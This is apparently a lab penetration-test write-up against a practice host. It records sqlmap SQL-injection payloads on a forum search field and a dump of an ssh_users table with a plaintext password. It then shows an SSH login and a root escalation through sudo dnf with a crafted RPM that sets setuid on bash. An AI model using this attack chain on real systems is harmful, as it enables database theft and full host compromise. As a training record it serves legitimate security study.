- Server: No banner retrieved
- /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
- /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
- Root page / redirects to: https://10.11.1.68/
- No CGI Directories found (use '-C all' to force check all possible dirs)
#Whatweb
whatweb http://10.11.1.68:9090
http://10.11.1.68:9090 [301 Moved Permanently] Country[RESERVED][ZZ], IP[10.11.1.68], RedirectLocation[https://10.11.1.68:9090/], Title[Moved]
https://10.11.1.68:9090/ [200 OK] Cookies[cockpit], Country[RESERVED][ZZ], HTML5, HttpOnly[cockpit], IP[10.11.1.68], PasswordField, Script[text/javascript], Title[Loading...], UncommonHeaders[content-security-policy,x-dns-prefetch-control,referrer-policy,x-content-type-options,cross-origin-resource-policy], X-Frame-Options[sameorigin]
undefined
Initial Foothold
$#Found sql injection with SQLMAP$sqlmap -u "http://10.11.1.68/forum.php" --crawl=2 --forms --batch --level=3 --risk=2$POST parameter 'search_query' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N$sqlmap identified the following injection point(s) with a total of 120 HTTP(s) requests:$---$Parameter: search_query (POST)$ Type: boolean-based blind$ Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)$ Payload: search_query=hDhS') AND 8232=(SELECT (CASE WHEN (8232=8232) THEN 8232 ELSE (SELECT 8233 UNION SELECT 6580) END))-- -&search_submit=Search$ $ Type: error-based$ Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)$ Payload: search_query=-7191') OR 1 GROUP BY CONCAT(0x71707a7671,(SELECT (CASE WHEN (5230=5230) THEN 1 ELSE 0 END)),0x71786a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&search_submit=Search$ $ Type: time-based blind$ Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)$ Payload: search_query=hDhS') OR SLEEP(5)#&search_submit=Search$ $ Type: UNION query$ Title: Generic UNION query (NULL) - 16 columns$ Payload: search_query=hDhS') UNION ALL SELECT CONCAT(0x71707a7671,0x676854636c594576556c5a6e6c4a4d574759494f746564664d4c536370446b72424a486c4e716752,0x71786a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&search_submit=Search$---$do you want to exploit this SQL injection? [Y/n] Y$[21:33:54] [INFO] the back-end DBMS is MySQL$web server operating system: Linux Fedora$web application technology: PHP 7.4.33, PHP, Apache 2.4.54$back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)$SQL injection vulnerability has already been detected against '10.11.1.68'. Do you want to skip further tests involving it? [Y/n] Y$[21:33:54] [INFO] skipping 'http://10.11.1.68/members.php/cmd/register'$[21:33:54] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-10012025_0922pm.csv' $#Checked for DBs$sqlmap -r FILENAME -dbs --level=5 --risk=3 --batch$ ___$ __H__$ ___ ___[)]_____ ___ ___ {1.9.6#stable}$|_ -| . ["] | .'| . |$|___|_ [(]_|_|_|__,| _|$ |_|V... |_| https://sqlmap.org$ $[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program$ $[*] starting @ 00:51:27 /2025-10-02/$ $[00:51:27] [INFO] parsing HTTP request from 'FILENAME'$[00:51:27] [INFO] resuming back-end DBMS 'mysql' $[00:51:27] [INFO] testing connection to the target URL$you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ckhmpf0vlds...fkrnnmi9oh'). Do you want to use those [Y/n] Y$sqlmap resumed the following injection point(s) from stored session:$---$Parameter: search_query (POST)$ Type: boolean-based blind$ Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)$ Payload: search_query=hDhS') AND 8232=(SELECT (CASE WHEN (8232=8232) THEN 8232 ELSE (SELECT 8233 UNION SELECT 6580) END))-- -&search_submit=Search$ $ Type: error-based$ Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)$ Payload: search_query=-7191') OR 1 GROUP BY CONCAT(0x71707a7671,(SELECT (CASE WHEN (5230=5230) THEN 1 ELSE 0 END)),0x71786a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&search_submit=Search$ $ Type: time-based blind$ Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)$ Payload: search_query=hDhS') OR SLEEP(5)#&search_submit=Search$ $ Type: UNION query$ Title: Generic UNION query (NULL) - 16 columns$ Payload: search_query=hDhS') UNION ALL SELECT CONCAT(0x71707a7671,0x676854636c594576556c5a6e6c4a4d574759494f746564664d4c536370446b72424a486c4e716752,0x71786a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&search_submit=Search$---$[00:51:27] [INFO] the back-end DBMS is MySQL$web server operating system: Linux Fedora$web application technology: PHP 7.4.33, PHP, Apache 2.4.54$back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)$[00:51:27] [INFO] fetching database names$available databases [5]:$[*] information_schema$[*] layerbb$[*] mysql$[*] performance_schema$[*] ssh$#Enumerated tables from ssh DB$sqlmap -r FILENAME -D DB_Name --tables$00:52:30] [INFO] fetching tables for database: 'ssh'$Database: ssh$[1 table]$+-----------+$| ssh_users |$+-----------+$#Dumped data from ssh_users table and got credentials$sqlmap -r FILENAME -D ssh -T ssh_users --dump$Database: ssh$Table: ssh_users$[1 entry]$+----+-------------------+----------+$| ID | password | username |$+----+-------------------+----------+$| 1 | FEder1K01!@ssw0rd | Federik | (screenshot omitted)
Privesc
$#ssh to Federik : FEder1K01!@ssw0rd$ssh federik@10.11.1.68$federik@10.11.1.68's password: $[federik@localhost ~]$(screenshot omitted)
$#Linpeas showd vulnerable dnf binary and vulnerable PATH$╔══════════╣ PATH$╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses $/home/federik/.local/bin:/home/federik/bin:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin$ $User federik may run the following commands on localhost:$ (root) NOPASSWD: /usr/bin/dnf(screenshot omitted)
$#privesc with rpm package install /usr/bin/dnf https://gtfobins.github.io/gtfobins/dnf/$TF=$(mktemp -d)$echo 'chmod u+s /bin/bash' > $TF/x.sh$fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF$sudo dnf --disablerepo=* install -y x-1.0-1.noarch.rpm$[federik@localhost ~]$ /bin/bash -p $bash-5.1# id $uid=1000(federik) gid=1000(federik) euid=0(root) groups=1000(federik) $bash-5.1# cd /root$bash-5.1# cat key.txt $b3g7bnca98utgbk2dy9c $bash-5.1# (screenshot omitted)